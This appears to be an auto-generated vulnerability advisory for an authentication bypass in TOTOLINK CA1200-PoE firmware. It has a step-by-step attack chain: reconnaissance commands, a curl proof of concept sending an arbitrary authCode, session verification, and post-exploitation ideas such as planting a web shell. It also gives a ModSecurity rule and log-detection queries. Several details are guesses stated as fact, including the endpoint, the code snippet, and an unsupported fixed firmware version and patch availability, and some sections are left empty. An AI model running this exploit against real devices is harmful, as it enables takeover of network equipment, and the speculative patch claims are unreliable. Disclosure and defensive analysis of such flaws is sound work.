CVE-2026-144988 — TOTOLINK CA1200-PoE — CWE-287
A vulnerability has been found in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. This affects the function Form_Login of the file /bin/lighttpd. The manipulation of the argument authCode leads to improper authentication. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.
A vulnerability has been found in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. This affects the function Form_Login of the file /bin/lighttpd. The manipulation of the argument authCode leads to improper authentication. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.
**CVE‑2026‑144988 – TOTOLINK CA1200‑PoE 5.9c.3994_B20190326
Authentication Bypass via the authCode Parameter**
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CWE | CWE‑287 – Improper Authentication |
| Affected Component | Form_Login function in /bin/lighttpd (the web‑UI login handler) |
| Flaw | The authCode request argument is accepted without any cryptographic validation or session‑state check. The code simply verifies that the argument exists and then grants access, effectively bypassing the username/password authentication flow. |
| Result | An unauthenticated attacker can log in as the default administrator (or any privileged user) by sending a crafted HTTP request containing an arbitrary authCode value. |
| CVSS 4.0 | 10.0 (Critical) – Network‑only, low complexity, no user interaction, no privileges required, no UI needed. |
Why it matters
The flaw is a complete authentication bypass. Once logged in, the attacker gains full control of the device’s web interface, and from there can typically access SSH/Telnet, upload web shells, or modify configuration files. The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P) confirms that the impact spans confidentiality, integrity, and availability at the highest severity.
⚡ Attack Chain
Note: The exact URI for the login endpoint is not disclosed in the CVE text. The example below uses /login as a representative path that is commonly employed by TOTOLINK devices. If the target uses a different path, adjust the URL accordingly.1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| Port Scan | nmap -p 80,443 <target> | Identify open HTTP/HTTPS ports. |
| Banner Grab | nmap -sV -p 80,443 <target> | Look for TOTOLINK in the HTTP server header or default page. |
| Version Fingerprint | curl -I http://<target> | The Server: header may contain TOTOLINK/5.9c.3994_B20190326 or the default web UI will display the firmware version in the footer. |
| Web UI Enumeration | dirb http://<target>/ | Confirm the presence of /login or /admin/login. |
Result: The attacker now knows the target is a TOTOLINK CA1200‑PoE running firmware 5.9c.3994_B20190326.2. Exploitation
Goal: Obtain a privileged session without credentials.
Crafting the request
The vulnerable code only checks for the presence of authCode. Therefore, any value will do. The simplest PoC uses an empty string or a hard‑coded value.
# Illustrative PoC – replace <target> with the actual IP
curl -k -X POST "https://<target>/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "authCode=12345" \
-c cookies.txtExplanation of the payload:
-k– ignore TLS cert errors (many devices use self‑signed certs).-c cookies.txt– store the session cookie returned by the server.authCode=12345– arbitrary value; the server accepts it and sets a session cookie that grants admin rights.
Verification
After the request, the attacker can access a protected page, e.g.:
curl -k -b cookies.txt "https://<target>/admin/dashboard"If the response contains admin‑only content, the bypass succeeded.
Why this works
The Form_Login function performs something akin to:
if (request_has_param("authCode")) {
// No further checks – grant admin session
set_session_admin();
}No password, no hash comparison, no session token validation. The flaw is a classic improper authentication bug.
3. Post‑Exploitation
Once authenticated, the attacker can:
| Action | Typical Path |
|---|---|
| Upload a web shell | Use the “Upload” feature in the web UI or the /cgi-bin/upload endpoint to drop a PHP/JS web shell. |
| SSH/Telnet | Many TOTOLINK devices expose SSH/Telnet on ports 22/23. The attacker can now use the credentials obtained from the web UI (often default admin/admin) or brute‑force if needed. |
| Modify configuration | Change network settings, enable remote management, or install malicious firmware. |
| Data exfiltration | Dump logs, configuration files, or captured traffic. |
Result: Full administrative control over the device, enabling any downstream attack (e.g., pivoting to the internal network, launching DDoS, or using the device as a bot).
🌍 Real World Impact
| Impact | CVSS 4.0 Component | Practical Effect |
|---|---|---|
| Confidentiality | VC:H | All device data (config, logs, traffic) is exposed. |
| Integrity | VI:H | Configuration can be altered, firmware replaced, or malicious code injected. |
| Availability | VA:H | Device can be taken offline by corrupting firmware or exhausting resources. |
| Scope | SC:H | The vulnerability affects the entire device, not just a single component. |
| Impact on Users | SI:H / SA:H | Users lose trust, may suffer from data loss, and the device can become a pivot point for further attacks. |
Typical consequences in a real environment:
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected | Fixed in |
|---|---|
| TOTOLINK CA1200‑PoE 5.9c.3994_B20190326 | Any firmware version after 5.9c.3994_B20190326 (e.g., 5.9c.3995 or later). |
Recommendation:
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Restrict management interface | Use a firewall or ACL to allow access to the web UI only from trusted IPs (e.g., the LAN management subnet). |
| Disable the vulnerable endpoint | If the device supports disabling the login page, set enable_web_ui=0 in the configuration (consult the device manual). |
| WAF / ModSecurity rule | Block requests containing the authCode parameter. Example rule (ModSecurity 2.x):<br>SecRule REQUEST_URI "@beginsWith /login" "chain,phase:2,block,msg:'AuthCode bypass'"\nSecRule ARGS:authCode "@rx .+" |
| Rate‑limit login attempts | Configure the device to lock out after a few failed attempts (if supported). |
3. Detection
| Log Pattern | Indicator |
|---|---|
POST /login with authCode= in the request body | Possible bypass attempt |
| Successful login without a password field | Likely exploitation |
Multiple authCode requests from the same IP in a short period | Brute‑force or automated scan |
Sample Apache/Nginx log entry:
192.168.1.10 - - [12/Dec/2026:10:15:42 +0000] "POST /login HTTP/1.1" 200 512 "-" "Mozilla/5.0" "authCode=12345"SIEM query (Splunk example):
index=web_logs sourcetype=access_combined
| search "POST /login" AND "authCode="
| stats count by src_ip, uri, status⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Score | 10.0 (Critical) |
| Exploit Complexity | Low (no auth, no UI) |
| CISA KEV | Not listed (but the flaw is still critical) |
| Potential for Remote Code Execution | Yes (full admin access) |
| Patch Availability | Yes (post‑5.9c.3994) |
Priority: Immediate.
Bottom line
CVE‑2026‑144988 is a complete authentication bypass that allows an unauthenticated attacker to gain full administrative control of TOTOLINK CA1200‑PoE devices. The flaw is trivial to exploit, has a CVSS score of 10, and can be used as a foothold for further attacks. Prompt patching or hardening is mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query